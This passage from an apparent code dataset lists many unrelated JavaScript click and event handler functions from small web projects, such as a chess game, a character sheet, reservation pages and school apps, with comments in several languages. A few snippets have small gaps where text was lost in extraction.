Dom(tabelas_visoes[modo].mostrar.elementos[i]);\n divs_combate.style.display = 'block';\n }\n gEntradas.modo_visao = modo;\n AtualizaGeralSemLerEntradas();\n}","function verify() {\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\n\n\n\n $(\"#altaProductoBoton\").on(\"click\", verificarAltaProducto);\n $(\"#altaCategoriaBoton\").on(\"click\", verificarAltaCategoria);\n $(\"#bajaProductoBoton\").on(\"click\", verificarBajaProducto);\n $(\"#modificarproductoBoton\").on(\"click\", verficiarModificarProducto);\n $(\"#modificarProductoConfirmBoton\").on(\"click\", verficiarModificarConfirmProducto);\n\n\n}","function clickAssess() {\n\t$.trigger(\"clickAssess\");\n}","siguienteNivel() {\n this.subNivel = 0;\n this.iluminarSecuencia();\n this.agregarEventosClick();\n }","function ClickSalvar() {\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n HabilitaOverlay();\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\n CarregaPersonagens();\n DesabilitaOverlay();\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('salvo com sucesso.'));\n });\n}","function ClickVisualizacaoModoMestre() {\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\n AtualizaGeralSemLerEntradas();\n}","function checkUser(){\n //console.log('check user started');\n cumputerTurn = false;\n if(userClicked == true){\n \n }\n}","function ClickAdicionarEscudo() {\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\n AtualizaGeralSemLerEntradas();\n}","function clickEnCasilla(x, y) {\n if (miPartida.tableroGirado) {\n x = 7 - x;\n y = 7 - y;\n }\n\n let blanca = esBlanca(miPartida.tablero[x][y]);\n let negra = esNegra(miPartida.tablero[x][y]);\n\n if (!miPartida.hayPiezaSelec) {\n if (miPartida.turno && blanca || !miPartida.turno && negra)\n realizarSeleccionPieza(x, y);\n } else {\n if (esMovValido(x, y)) {\n if (siPeonPromociona(x))\n modalPromocionPeon(x, y);\n else {\n enviarMovimiento(x, y, null);\n realizarMovimientoYComprobaciones(x, y, false);\n }\n } else {\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\n // Compruebo que este pulsando una pieza y que sea de mi color\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\n eliminarEstiloMovPosibles();\n realizarSeleccionPieza(x, y);\n }\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\n eliminarEstiloMovPosibles();\n deseleccionarPieza();\n }\n }\n }\n}","function iniciar() {\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \n divRespuesta = document.getElementById('divRespuesta');\n var botonAlta = document.getElementById('botonAlta');\n botonAlta.addEventListener('click', altaUsuario); \n}","function IniciarEventos(){\n\t$('#guardar').click(guardardatos)\n\t$('#cancelar').click(function(){window.history.back()})\n\tshowmessage()\n}","function escucha_Permisos(){\n\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\n\tse muestra en la pag users.php*/\n\tvar x=document.getElementsByClassName(\"work_data\");/*selecciono todos los usuarios ya qye se encuentran\n\tdentro de article*/\n\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\n aanvalActie = false;\n aanvalKnopStatus = false;\n beweegActie = false;\n beweegKnopStatus = false;\n beurtVeranderen();\n veranderKleur(donkerblauw,wit);\n veranderKleur(lichtblauw,wit);\n }\n}","function ocultable_click() {\n if (!edicion) {\n $(this).siblings('.ocultable-contenido').slideToggle();\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\n }\n }","function conocerEvento(e)\n{\n\n\tvar evento = e || window.event;\n\n\t\t//document.getElementById(\"evento\").value = e.type;\n\n // console.log(\"evento\");\n // console.log(e);\n\n if(evento.type == \"click\")\n {\n\n //console.log(\"nombre del click\");\n //console.log(evento.path[0].id);\n\n var nombreclick=evento.path[0].id;\n\n\n //continuar\n if(nombreclick.substr(0,10) == \"continuar\")\n {\n //alert(\"click\");\n //var id=nombreclick.substr(7);\n //console.log(\"comienza valor\");\n //console.log(nombreclick.substr(8));\n //alert(\"empezo entreno\");\n\n //id_plan = document.getElementById(\"codigoplan\").value;\n //console.log(id_sesion);\n //almacenarlocal('id_plan', id_plan);\n //una();\n\n }\n\n\n\n\n }\n\n\n // switch(evento.type) {\n // case 'mouseover':\n // this.style.borderColor = 'black';\n // break;\n // case 'mouseout':\n // this.style.borderColor = 'silver';\n // break;\n // }\n\n}","function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\r\n\r\n\t$(\"#btnModificarAprendiz\"+contador).click(function(){\r\n\r\n\t\tlimpiarFormulario(\"formModificarAprendiz\");\r\n\t\t\r\n\t\t$(\"#txtIdAprendiz\").val(idAprendiz);\r\n\t\t\r\n\t\t$(\"#txtIdentificacionAprendizMod\").val(identificacion);\r\n\t\t$(\"#txtNombreCompletoAprendizMod\").val(nombreCompleto);\r\n\t\t$(\"#selectFichaAprendizMod\").val(idFicha);\r\n\t\t$(\"#selectDetalleEstadoAprendizMod\").val(idDetalleEstado);\r\n\t\t\r\n\t});\r\n}","function changeUserStatut() {\n $('.sidebar').on('click', '.user-login li a', function(e) {\n e.preventDefault();\n var statut = $(this).find('span').text();\n currentStatut = $('.user-login button span').text();\n $('.user-login button span').text(statut);\n if (statut == 'Busy') {\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\n }\n if (statut == 'Invisible') {\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\n }\n if (statut == 'Away') {\n $('.user-login button i:not(.fa)').removeClass().addClass('away');\n }\n });\n}","function posarBoleta(e) {\r\n// console.log(\"has clicat el \"+ e.target.getAttribute('id'));\r\n if (numDeClics==0) {\r\n //si guanya\r\n if (e.target.getAttribute('id')==aleatorio) {\r\n resultat(\"guany\", \"Felicitats :)\");\r\n // resultat(\"Felicitats :)\");\r\n //si perd\r\n }else{\r\n // resultat(\"Torna a provar! :S\");\r\n resultat(\"perd\", \"Torna a provar! :S\");\r\n\r\n }\r\n numDeClics=numDeClics+1;\r\n }\r\n}","function cambiarEstado(e) {\r\n e.preventDefault();\r\n var contadore = 0;\r\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\r\n if (e.target.classList.contains('activo')) {\r\n e.target.classList.remove('activo');\r\n } else {\r\n for (var x = 0; x < reserva.children.length; x++) {\r\n if (reserva.children[x].classList.contains('activo')) {\r\n contadore++;\r\n }\r\n }\r\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\r\n e.target.classList.add('activo');\r\n } else {\r\n Swal.fire({\r\n icon: 'error',\r\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\r\n text: 'Error'\r\n });\r\n }\r\n }\r\n }\r\n}","creanOnClick() {\n\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\n\n switch (currentAssignmentType) {\n case AssignmentType.USERTOTASK:\n console.error(\"Template.assignmentCalendar.events.click .creneau\", \"User can't normally click on this kind of element when in userToTask\");\n return;\n break;\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\n break;\n }\n }","function verAcuerdoEspecialBonificaciones(id)\n{\nif(document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display==\"block\")\n {\n document.getElementById(\"divDatosAcuerdoEspecialBonificaciones\"+id).style.display=\"none\";\n document.getElementById(\"buttonVerDatosAcuerdoEspecialBonificaciones\"+id).innerHTML=\"Ver\";\n }\nelse\n {\n var requerimiento = new RequerimientoGet();\n requerimiento.setURL(\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\");\n requerimiento.addParametro(\"id\",id);\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\n requerimiento.ejecutar();\n }\n\n}","elegirColor(ev){\n console.log(ev);\n //capturamos el color que presiona el usuario\n const nombreColor = ev.target.dataset.color;\n //convertimos a numero el color que selecciona el usuario\n const numeroColor = this.transformarColorANumero(nombreColor);\n //iluminamos el color que apreto el usuario\n this.iluminarColor(nombreColor);\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\n if (numeroColor === this.secuencia[this.subnivel]) {\n this.subnivel++;\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\n if (this.subnivel === this.nivel) {\n this.nivel++;\n //eliminamos los eventos click que ya ocurrieron\n this.eliminarEventosClick();\n if (this.nivel === (ULTIMO_NIVEL +1)) {\n this.ganarJuego();\n\n } else {\n setTimeout(this.siguienteNivel,1500);\n }\n } \n } else {\n //PIERDE\n this.perderJuego();\n }\n \n }","function mostrarDevoluciones(){ // Cuando toque el boton \"devoluciones\" voy a ver la seccion (hacer devoluciones)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; // habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; // oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divEntregas\").style.display = \"none\"; // oculto tabla\r\n document.querySelector(\"#divDevoluciones\").style.display = \"block\"; // muestro redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"none\"; // oculto visualizar estadisticas\r\n}","metodoClick(){\n console.log(\"diste click\")\n }","function logNewsClickForUser(user_id, news_id, user_ip) {\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\n if (err) throw err;\n });\n }","function fAppMeteo() {\n $(\"#bokm\").click(fAffMeteo);\n}","function sitClick(sitID) {\n \n currentSituation = findSituationByID(sitID);\n refreshRateIndicator();\n refreshSituationButtons();\n refreshSpiritQuotes();\n refreshSpiritIcon();\n refreshUnderstanding();\n \n}","function _attivaIsola(){\r\n\t\t\t$('.isola').each(function(){\r\n\t\t\t\tif($(this).is('[id^=\"isola'+isolaIndex+'\"]')){\r\n\t\t\t\t\t$(this).addClass('attiva').removeClass('spenta');\r\n\t\t\t\t}else{\r\n\t\t\t\t\t$(this).removeClass('attiva').addClass('spenta');\r\n\t\t\t\t}\r\n\t\t\t});\r\n\t\t\t$('.testo-isola#t'+isolaIndex).addClass('presente');\r\n\r\n\t\t\tclicking = true;\r\n\t\t}","function mostrarEstDocente(){ // Cuando toque el boton \"estadisticas\" voy a ver la seccion (ver estadisticas)\r\n limpiar(); //limpio campos de texto y mensajes al usuario\r\n document.querySelector(\"#homeDocente\").style.display = \"block\"; //Habilito division docente\r\n document.querySelector(\"#bodyHome\").style.display = \"none\"; //Oculto body bienvenida\r\n document.querySelector(\"#divAsignarNivel\").style.display = \"none\"; // oculto plantear ejercicios a alumnos\r\n document.querySelector(\"#divPlantearEje\").style.display = \"none\"; // oculto plantear tarea\r\n document.querySelector(\"#divDevoluciones\").style.display = \"none\"; // oculto redactar devoluciones a tareas\r\n document.querySelector(\"#divEstadisticas\").style.display = \"block\"; // muestro visualizar estadisticas\r\n generarListaAlumnos();\r\n}","function ActivarAyudaContextual(bDevolverExitoEjecucion)\r\n{\r\n\tif (bARQAyudasContActivas)\r\n\t\tquitarIconoAyudasCont();\r\n\telse\r\n\t\tponerIconoAyudasCont();\t\t\r\n}","function triggerEvent(event, id) {\n\n event.addEventListener('click', function (e) {\n if (event.id == \"fallevent\") {\n document.getElementById(\"patient!@!local\").classList.add('rotate-fall');\n }\n if (event.id == \"normalevent\") {\n document.getElementById(\"patient!@!local\").classList.remove('rotate-fall');\n }\n fetch(`/${event.id}?username=${id}`, {\n method: 'POST'\n }).then(function (response) {\n response.json().then(function (json) {\n\n responseString = response.status + \" - \" + response.statusText;\n if (response.ok)\n return toastr[\"success\"](json.text, responseString);\n\n else if (response.status != 401)\n return toastr[\"warning\"](json.text, responseString);\n\n else\n throw new Error(responseString);\n });\n })\n .catch(function (error) {\n toastr.error(error, {\n timeOut: 10000\n });\n });\n });\n}","function theClick() {\r\n console.log('inicia')\r\n dataNodes()\r\n dataElements()\r\n backEnd()\r\n}","function cargarEvento(){\n\t\n\tif(document.readyState==\"interactive\"){\n\t\tdocument.getElementById(\"id_enviar\").addEventListener(\"click\",peticionAlta,false);\n\t}\n}","clickHandler(evt) {\n if (evt.target.classList.contains('fa-check')) {\n gameApp.eventHandler(evt);\n }\n\n if (evt.target.classList.contains('assignment') || evt.target.parentElement.classList.contains('assignment')) {\n gameApp.activateContract(evt);\n }\n\n if (evt.target.classList.contains('loc')) {\n gameApp.addLoc();\n }\n\n if (evt.target.classList.contains('nav-button')) {\n let elem = evt.target;\n gameApp.gameView.changeMenue(elem);\n }\n }","function iniciar(){ \r\n\tvar botonBuscar = document.getElementById( \"botonBuscar\" ); \r\n\tbotonBuscar.addEventListener( \"click\" , botonPresionado, false ); \r\n} // fin de la función iniciar ","function verReservasClick(opcion){\r\n let container;\r\n let container2;\r\n let almacenados;\r\n \r\n switch (opcion)\r\n {\r\n \r\n case \"crucero\": \r\n //// Cruceros \r\n container = document.querySelector('#crucerosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesCruceros\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\n Reservado por: ${objeto.reservadoPor}
\r\n Cantidad de personas: ${objeto.cantidad}
\r\n $ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"crucerosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n \r\n case \"aereo\":\r\n ///// Aereos\r\n container = document.querySelector('#aereosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"pasajesAereos\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\n Reservado por: ${objeto.reservadoPor}
\r\n Cantidad de personas: ${objeto.cantidad}
\r\n $ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"aereosReservados\").appendChild(contenedor2);\r\n }\r\n break;\r\n \r\n case \"auto\": \r\n //// AUTOS\r\n \r\n container = document.querySelector('#autosReservados');\r\n removeAllChildNodes(container);\r\n almacenados = JSON.parse(sessionStorage.getItem(\"autosReservados\"));\r\n \r\n //Recorro lo que viene del JSON e inserto DIV con cada objeto almacenado\r\n \r\n for (const objeto of almacenados)\r\n {\r\n contenedor2 = document.createElement(\"div\");\r\n contenedor2.innerHTML = `${objeto.nombre}
\r\n Reservado por: ${objeto.reservadoPor}
\r\n Cantidad de días: ${objeto.cantidad}
\r\n ${objeto.seguro}
\r\n $ ${objeto.precio}
`;\r\n document.body.appendChild(contenedor2);\r\n document.getElementById(\"autosReservados\").appendChild(contenedor2);\r\n }\r\n \r\n break;\r\n \r\n default:\r\n break;\r\n }\r\n \r\n }","function constroiEventos(){}","function cambioDePagina(xhttp) {\r\n let paginaAnterior = document.getElementById(\"paginaAnterior\");\r\n\r\n let paginaSiguiente = document.getElementById(\"paginaSiguiente\");\r\n\r\n paginaAnterior.addEventListener(\"click\", function() {\r\n if (xhttp.info.prev) {\r\n traerPersonaje(xhttp.info.prev, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas antes de esta\")\r\n }\r\n });\r\n paginaSiguiente.addEventListener(\"click\", function() {\r\n if (xhttp.info.next) {\r\n traerPersonaje(xhttp.info.next, insertarCartas);\r\n\r\n } else {\r\n alert(\"No hay paginas despues de esta\")\r\n }\r\n\r\n });\r\n}","function onyeshaYaliyomo(kiungo, e, rangi, id) {\n e.preventDefault();\n let viungo, yaliyomo;\n viungo = document.getElementsByClassName(\"kiungo\");\n yaliyomo = document.getElementsByClassName(\"yaliyomo\");\n\n // ficha 'yaliyomo' zote kabla ya yote\n for (let index = 0; index < yaliyomo.length; index++) {\n const element = yaliyomo[index];\n element.style.display = \"none\";\n }\n\n // Ondoa darasa la 'hai' kwenye viungo vyote\n for (let index = 0; index < viungo.length; index++) {\n const kiungo = viungo[index];\n kiungo.className = kiungo.className.replace(\" hai\", \"\");\n kiungo.style.backgroundColor = \"transparent\";\n }\n\n // Onyesha kiungo hai na Yaliyomo yake\n kiungo.className += \" hai\";\n kiungo.style.backgroundColor = rangi;\n let yaliyomoHai = document.getElementById(id);\n let seksheni = document.getElementById(\"tabu-kurasa-nzima\");\n yaliyomoHai.style.display = \"block\";\n // yaliyomoHai.style.backgroundColor = rangi;\n seksheni.style.backgroundColor = rangi;\n}","function addEventsEntrega(){\r\n let btnsEntrega = document.querySelectorAll(\".entrega\"); \r\n for(let i=0; i vex.defaultOptions.className = 'vex-theme-wireframe'; vex.dialog.open({ message: \" + \"'Estás a punto de ELIMINAR esta Actividad Complementaria ¿Deseas Continuar?', input: \" + '\"\" + '\",' + 'buttons: [$.extend({}, vex.dialog.buttons.YES, {text: \"Continuar\"}), $.extend({}, vex.dialog.buttons.NO, {text: \"Cancelar\"})] }); ';\r\n console.log(cadena);\r\n $(\"#sub_contenido\").html(cadena);\r\n /*\r\n url = \"view/Administradores/itz_eliminar_actividad\";\r\n tipo_consulta = \"eliminar_actividad\";\r\n objParametros = {\r\n 'actividad' : actividad,\r\n 'tipo_consulta' : tipo_consulta\r\n };*/\r\n break;\r\n }//END CASE\r\n }//END SWITCH\r\n \r\n //Se pone un gif mientras se realizan las operaciones AJAX\r\n crear_loading_subcontenido();\r\n //$(\"#sub_contenido\").html(\"
Espere por favor... \");\r\n \r\n $.ajax({\r\n type: 'POST',\r\n url: url,//Obtenida de la que está a nivel de función\r\n data: objParametros,//Obtenida de la que está a nivel de función\r\n success: function(respuesta){//Respuesta es lo que pone PHP en pantalla, prácticamente es traer al PHP si la consulta fue successfuly\r\n $(\"#contenido\").html(respuesta);\r\n }//END SUCCESS\r\n });//END AJAX\r\n}//END FUNCTION","function acceder(usuario){\n console.log(`2. ${usuario} Ahora puedes acceder`)\n entrar();\n}","function clickHandler(e) {\n // cleanup the event handlers\n yesbutton.removeEventListener('click', clickHandler);\n nobutton.removeEventListener('click', clickHandler);\n\n // Hide the dialog\n screen.classList.remove('visible');\n\n // Call the appropriate callback, if it is defined\n if (e.target === yesbutton) {\n if (yescallback)\n yescallback();\n }\n else {\n if (nocallback)\n nocallback();\n }\n\n // And if there are pending permission requests, trigger the next one\n if (pending.length > 0) {\n var request = pending.shift();\n window.setTimeout(function() {\n requestPermission(request.message,\n request.yescallback,\n request.nocallback);\n }, 0);\n }\n }","function gps_permitirConsulta() {\n if (!consultando) {\n gps_pausarAutoConsultaAuto();\n gps_bloquearComponente(\"btn_consulta\", false);\n } else {\n gps_bloquearComponente(\"btn_consulta\", true);\n }\n}","function clickBotonMeGusta(selectorDivMeGusta, listID, itemID) {\n var meGusta = false;\n var textoBotonLike = $(selectorDivMeGusta + \" .botonLike\").text();\n if (textoBotonLike != \"\") {\n if (textoBotonLike == \"Me gusta\") { meGusta = true; }\n\n SP.SOD.executeFunc(\"sp.js\", \"SP.ClientContext\", function () { \n var aContextObject = new SP.ClientContext(_spPageContextInfo.webServerRelativeUrl);\n SP.SOD.executeFunc('reputation.js', 'Microsoft.Office.Server.ReputationModel.Reputation', function () {\n Microsoft.Office.Server.ReputationModel.Reputation.setLike(aContextObject, listID.substring(1, 37), itemID, meGusta);\n\n aContextObject.executeQueryAsync(\n function () {\n obtenerCantidadMeGustaItem(selectorDivMeGusta, listID, itemID);\n }, function (sender, args) {\n });\n });\n });\n }\n}","clickCheckOutGreenTea() {\n this.clickElem(this.btnCheckOutGreenTea);\n }","function suivant(){\n if(active==\"idee\"){\n reunion_open();\n }else if (active==\"reunion\") {\n travail_open();\n }else if (active==\"travail\") {\n deploiement_open();\n }\n }","function miniaturaClick(elemento) {\n var miniatura = 0;\n //esto determinara que parametro mandar a la funcion controles();\n for (var i = 0; i < cantidadElementos; i++) {\n if (elemento == posicionesMiniaturas[i]) {\n miniatura = i;\n }\n }\n //aqui se le pasa a controles(); el numero de veces que se moveran las imagenes asi como la dirección (derecha o izquierda)\n var cantidad = 0;\n if (elementoActivo < miniatura) {\n for (var i = elementoActivo; elementoActivo < miniatura; i++) {\n cantidad = cantidad + 1;\n controles(\"derechaSlider\", cantidad, \"click\");\n }\n } else {\n for (var i = elementoActivo; miniatura < elementoActivo ; i++) {\n cantidad = cantidad + 1;\n controles(\"izquierdaSlider\", cantidad, \"click\");\n }\n }\n}","function eventsAction() {\n // Despliega la seccion de detalle de información del proyecto\n $('.projectInformation')\n .unbind('click')\n .on('click', function () {\n $('.invoice__section-finder').css({ top: '-100%' });\n $('.projectfinder').removeClass('open');\n\n let rotate = $(this).attr('class').indexOf('rotate180');\n if (rotate >= 0) {\n $('.invoice__section-details').css({\n top: '-100%',\n bottom: '100%',\n });\n $(this).removeClass('rotate180');\n } else {\n $('.invoice__section-details').css({\n top: '32px',\n bottom: '0px',\n });\n $(this).addClass('rotate180');\n }\n });\n\n // Despliega la sección de seleccion de proyecto y cliente\n $('.projectfinder')\n .unbind('click')\n .on('click', function () {\n $('.invoice__section-details').css({\n top: '-100%',\n bottom: '100%',\n });\n $('.projectInformation').removeClass('rotate180');\n\n let open = $(this).attr('class').indexOf('open');\n if (open >= 0) {\n $('.invoice__section-finder').css({ top: '-100%' });\n $(this).removeClass('open');\n } else {\n $('.invoice__section-finder').css({ top: '32px' });\n $(this).addClass('open');\n }\n });\n\n // Despliega y contrae las columnas de viaje y prueba\n $('.showColumns')\n .unbind('click')\n .on('click', function () {\n let rotate = $(this).attr('class').indexOf('rotate180');\n viewStatus = rotate >= 0 ? 'E' : 'C';\n expandCollapseSection();\n });\n\n // Despliega y contrae el menu de opciones de secciones\n $('.invoice_controlPanel .addSection')\n .unbind('click')\n .on('click', function () {\n $('.menu-sections').slideDown('slow');\n $('.menu-sections').on('mouseleave', function () {\n $(this).slideUp('slow');\n sectionShowHide();\n });\n });\n\n // muestra en la cotización la seccion seleccionada\n $('.menu-sections ul li')\n .unbind('click')\n .on('click', function () {\n let item = $(this).attr('data-option');\n glbSec = $(this).attr('data-option');\n $(this).hide();\n\n $(`#SC${item}`).show();\n });\n\n // Despliega y contrae el listado de projectos\n $('.invoice_controlPanel .toImport')\n .unbind('click')\n .on('click', function () {\n let pos = $(this).offset();\n $('.import-sections')\n .slideDown('slow')\n .css({ top: '30px', left: pos.left + 'px' })\n .on('mouseleave', function () {\n $(this).slideUp('slow');\n });\n\n fillProjectsAttached();\n });\n\n // Despliega la lista de productos para agregar a la cotización\n $('.invoice__box-table .invoice_button')\n .unbind('click')\n .on('click', function () {\n let item = $(this).parents('tbody').attr('id');\n glbSec = item.substring(3,2); // jjr\n showListProducts(item);\n });\n \n // Elimina la sección de la cotización\n $('.removeSection')\n .unbind('click')\n .on('click', function () {\n let id = $(this);\n let section = id.parents('tbody');\n section.hide().find('tr.budgetRow').remove();\n sectionShowHide();\n });\n\n // Guarda version actual\n $('.version__button .toSaveBudget')\n .unbind('click')\n .on('click', function () {\n let boton = $(this).html();\n let nRows = $(\n '.invoice__box-table table tbody tr.budgetRow'\n ).length;\n if (nRows > 0) {\n let pjtId = $('.version_current').attr('data-project');\n glbpjtid=pjtId;\n let verId = $('.version_current').attr('data-version');\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\n\n if (verId != undefined){\n modalLoading('S');\n let par = `\n [{\n \"pjtId\" : \"${pjtId}\",\n \"verId\" : \"${verId}\",\n \"discount\" : \"${discount}\",\n \"action\" : \"${interfase}\"\n }]`;\n console.log('SaveBudget',par);\n var pagina = 'ProjectPlans/SaveBudget';\n var tipo = 'html';\n var selector = putsaveBudget;\n fillField(pagina, par, tipo, selector);\n } else{\n alert('No tienes una version creada, ' + \n 'debes crear en el modulo de cotizaciones');\n }\n }\n });\n\n // Guarda nueva version del presupuesto\n $('.version__button .toSaveBudgetAs')\n .unbind('click')\n .on('click', function () {\n let boton = $(this).html();\n let nRows = $(\n '.invoice__box-table table tbody tr.budgetRow'\n ).length;\n if (nRows > 0) {\n let pjtId = $('.version_current').attr('data-project');\n glbpjtid=pjtId;\n // let verCurr = $('.sidebar__versions .version__list ul li:first').attr('data-code');\n let verCurr = lastVersionFinder();\n let vr = parseInt(verCurr.substring(1, 10));\n\n let verNext = 'R' + refil(vr + 1, 4);\n let discount = parseFloat($('#insuDesctoPrc').text()) / 100;\n let lastmov = moment().format(\"YYYY-MM-DD HH:mm:ss\"); //agregado por jjr\n //console.log('FECHA- ', lastmov);\n if (vr != undefined){ //agregado por jjr\n modalLoading('S');\n let par = `\n [{\n \"pjtId\" : \"${pjtId}\",\n \"verCode\" : \"${verNext}\",\n \"discount\" : \"${discount}\",\n \"lastmov\" : \"${lastmov}\"\n }]`;\n\n var pagina = 'ProjectPlans/SaveBudgetAs';\n var tipo = 'html';\n var selector = putSaveBudgetAs;\n fillField(pagina, par, tipo, selector);\n } else{\n alert('No tienes una version creada, ' + \n 'debes crear en el modulo de cotizaciones');\n }\n }\n });\n\n // Edita los datos del proyecto\n $('#btnEditProject')\n .unbind('click')\n .on('click', function () {\n let pjtId = $('.projectInformation').attr('data-project');\n editProject(pjtId);\n });\n\n // Agrega nueva cotización\n $('.toSave')\n .unbind('click')\n .on('click', function () {\n let pjtId = $('.version_current').attr('data-project');\n let verId = $('.version_current').attr('data-version');\n promoteProject(pjtId, verId);\n });\n // Imprime la cotización en pantalla\n $('.toPrint')\n .unbind('click')\n .on('click', function () {\n let verId = $('.version_current').attr('data-version');\n printBudget(verId);\n });\n\n // Busca los elementos que coincidan con lo escrito el input de cliente y poyecto\n $('.inputSearch')\n .unbind('keyup')\n .on('keyup', function () {\n let id = $(this);\n let obj = id.parents('.finder__box').attr('id');\n let txt = id.val().toUpperCase();\n sel_items(txt, obj);\n });\n\n $('.cleanInput')\n .unbind('click')\n .on('click', function () {\n let id = $(this).parents('.finder__box').children('.invoiceInput');\n id.val('');\n id.trigger('keyup');\n });\n\n // Limpiar la pantalla\n $('#newQuote')\n .unbind('click')\n .on('click', function () {\n window.location = 'ProjectDetails';\n });\n\n // Abre el modal de comentarios\n $('.sidebar__comments .toComment')\n .unbind('click')\n .on('click', function () {\n showModalComments();\n });\n\n expandCollapseSection();\n}","function ClickAbrir() {\n var nome = ValorSelecionado(Dom('select-personagens'));\n if (nome == '--') {\n Mensagem('Nome \"--\" não é válido.');\n return;\n }\n var eh_local = false;\n if (nome.indexOf('local_') == 0) {\n eh_local = true;\n nome = nome.substr(6);\n } else {\n nome = nome.substr(5);\n }\n var handler = {\n nome: nome,\n f: function(dado) {\n if (nome in dado) {\n gEntradas = JSON.parse(dado[nome]);\n CorrigePericias();\n AtualizaGeralSemLerEntradas();\n SelecionaValor('--', Dom('select-personagens'));\n Mensagem(Traduz('Personagem') + ' \"' + nome + '\" ' + Traduz('carregado com sucesso.'));\n } else {\n Mensagem(Traduz('Não encontrei personagem com nome') + ' \"' + nome + '\"');\n }\n DesabilitaOverlay();\n },\n };\n HabilitaOverlay();\n AbreDoArmazem(nome, eh_local, handler.f);\n}","function iniciar(){\n\t\n\tvar btnOkAlerta = document.getElementById(\"okalerta\");\n\tvar btnWarning = document.getElementById(\"okwarning\");\n\tvar btnSucess = document.getElementById(\"oksucess\");\n\n\tbtnOkAlerta.addEventListener(\"click\", function(e){\n\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\tbtnWarning.addEventListener(\"click\", function(e){\n\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\tbtnSucess.addEventListener(\"click\", function(e){\n\t\t\te.target.parentNode.parentNode.classList.remove(\"active\");\n\t}, false);\n\n\tvar btnEnviar = document.getElementById(\"enviar\");\n\tbtnEnviar.addEventListener(\"click\", procesarRecarga, false);\n}","function voltarEtapa3() {\n msgTratamentoEtapa4.innerHTML = \"\";\n //recebendo H3 e setando nela o texto com o nome do cliente\n var tituloDaEtapa = document.querySelector(\"#tituloDaEtapa\");\n tituloDaEtapa.textContent = \"3º Etapa - Colaborador\";\n\n document.getElementById('selecionarPacotes').style.display = 'none'; //desabilita a etapa 4\n document.getElementById('selecionarFuncionarios').style.display = ''; //habilita a etapa 3\n }","function iniciar(){\n\t\t\tdocument.getElementById(\"enviar\").addEventListener('click',validar,false);\n\t\t}","function habilitarEntradas(){\n //evento del movimiento del mouse\n document.addEventListener('mousemove',function(evt){\n raton.x=evt.pageX-canvas.offsetLeft - 6;\n raton.y=evt.pageY-canvas.offsetTop - 28;\n },false);\n\n //evento del click del mouse\n document.addEventListener('mouseup', function(evt){\n ultimaliberacion=evt.which;\n },false);\n //evento del soltar el click del mouse \n canvas.addEventListener('mousedown',function(evt){\n evt.preventDefault();\n ultinaPresion=evt.which;\n },false);\n}","function checkJawabanUntukuser(e){\n\t//hapus tombol cek berhasilan\n\tcekKeberhasilan.classList.add('d-none');\n\t//tampilkan tombol loading\n\tbtn_loading.classList.add('d-block');\n\t//menunggu 3 detik\n\tsetTimeout(function(){\n\t//tarik kembali jendela browser\n\twindow.scrollTo(0,0);\n\t//cek jawaban ketika ada jawaban yang di pilih salah 